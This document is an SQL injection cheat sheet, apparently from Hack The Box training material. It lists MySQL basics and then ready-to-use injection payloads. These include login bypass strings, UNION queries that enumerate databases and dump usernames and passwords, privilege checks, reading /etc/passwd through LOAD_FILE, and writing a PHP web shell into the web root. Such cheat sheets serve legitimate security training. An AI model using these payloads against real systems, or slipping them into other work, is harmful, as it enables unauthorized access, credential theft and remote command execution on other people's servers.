

SQL INJECTION FUNDAMENTALS

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MySQL

General

Login to mysql database:

```
mysql -u root -h docker.hackthebox.eu -P  
3306 -p
```

List available databases: **SHOW DATABASES**

Switch to database: **USE users**

Tables

Add a new table:

```
CREATE TABLE logins (id INT, ...)
```

List available tables in current database: **SHOW TABLES**

Show table properties and columns: **DESCRIBE logins**

Add values to table:

```
INSERT INTO table_name VALUES (value_1,...)
```



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Add values to specific columns in a table:

```
INSERT INTO table_name(column2, ...) VALUES  
(column2_value, ..)
```

Update table values:

```
UPDATE table_name SET column1=newvalue1, ...  
WHERE <condition>
```

General

Show all columns in a table: `SELECT * FROM table_name`

Show specific columns in a table:

```
SELECT column1, column2 FROM table_name
```

Delete a table: `DROP TABLE logins`

Add new column:

```
ALTER TABLE logins ADD newColumn INT
```

Rename column:

```
ALTER TABLE logins RENAME COLUMN newColumn  
TO oldColumn
```

Change column datatype:

```
ALTER TABLE logins MODIFY oldColumn DATE
```



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Delete column: `ALTER TABLE logins DROP oldColumn`

Output

Sort by column:

```
SELECT * FROM logins ORDER BY column_1
```

Sort by column in descending order:

```
SELECT * FROM logins ORDER BY column_1 DESC
```

Sort by two-columns:

```
SELECT * FROM logins ORDER BY column_1 DESC,  
id ASC
```

Only show first two results:

```
SELECT * FROM logins LIMIT 2
```

Only show first two results starting from index 2:

```
SELECT * FROM logins LIMIT 1, 2
```

List results that meet a condition:

```
SELECT * FROM table_name WHERE <condition>
```

List results where the name is similar to a given string:

```
SELECT * FROM logins WHERE username LIKE  
'admin%'
```



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MySQL Operator Precedence

Division (/), Multiplication (*), and Modulus (%)

Addition (+) and Subtraction (-)

Comparison (=, >, <, <=, >=, !=, LIKE)

NOT (!)

AND (&&)

OR (||)

SQL Injection

Auth Bypass

Basic Auth Bypass: `admin' or '1'='1`

Basic Auth Bypass With comments: `admin')-- -`

Union Injection

Detect number of columns using order by:

`' order by 1-- -`

Detect number of columns using Union injection:

`cn' UNION select 1,2,3-- -`



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Basic Union injection:

```
cn' UNION select 1,@@version,3,4-- -
```

Union injection for 4 columns:

```
UNION select username, 2, 3, 4 from  
passwords-- -
```

DB Enumeration

Fingerprint MySQL with query output: `SELECT @@version`

Fingerprint MySQL with no output: `SELECT SLEEP(5)`

Current database name:

```
cn' UNION select 1,database(),2,3-- -
```

List all databases:

```
cn' UNION select 1, schema_name,3,4 from  
INFORMATION_SCHEMA.SCHEMATA-- -
```

List all tables in a specific database:

```
cn' UNION select 1, TABLE_NAME, TABLE_SCHEMA, 4  
from INFORMATION_SCHEMA.TABLES where  
table_schema='dev'-- -
```



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List all columns in a specific table:

```
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,  
TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS  
where table_name='credentials'-- -
```

Dump data from a table in another database:

```
cn' UNION select 1, username, password, 4  
from dev.credentials-- -
```

Privileges

Find current user:

```
cn' UNION SELECT 1, user(), 3, 4-- -
```

Find if user has admin privileges:

```
cn' UNION SELECT 1, super_priv, 3, 4 FROM  
mysql.user WHERE user="root"-- -
```

Find if all user privileges:

```
cn' UNION SELECT 1, grantee, privilege_type,  
is_grantable FROM  
information_schema.user_privileges WHERE  
user="root"-- -
```



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Find which directories can be accessed through MySQL:
`cn' UNION SELECT 1, variable_name,
variable_value, 4 FROM
information_schema.global_variables where
variable_name="secure_file_priv"-- -`

File Injection

Read local file:

```
cn' UNION SELECT 1,  
LOAD_FILE("/etc/passwd"), 3, 4-- -
```

Write a string to a local file:

```
select 'file written successfully!' into  
outfile '/var/www/html/proof.txt'
```

Write a web shell into the base web directory:

```
cn' union select "", '<?php  
system($_REQUEST[0]); ?>', "", "" into  
outfile '/var/www/html/shell.php'-- -
```

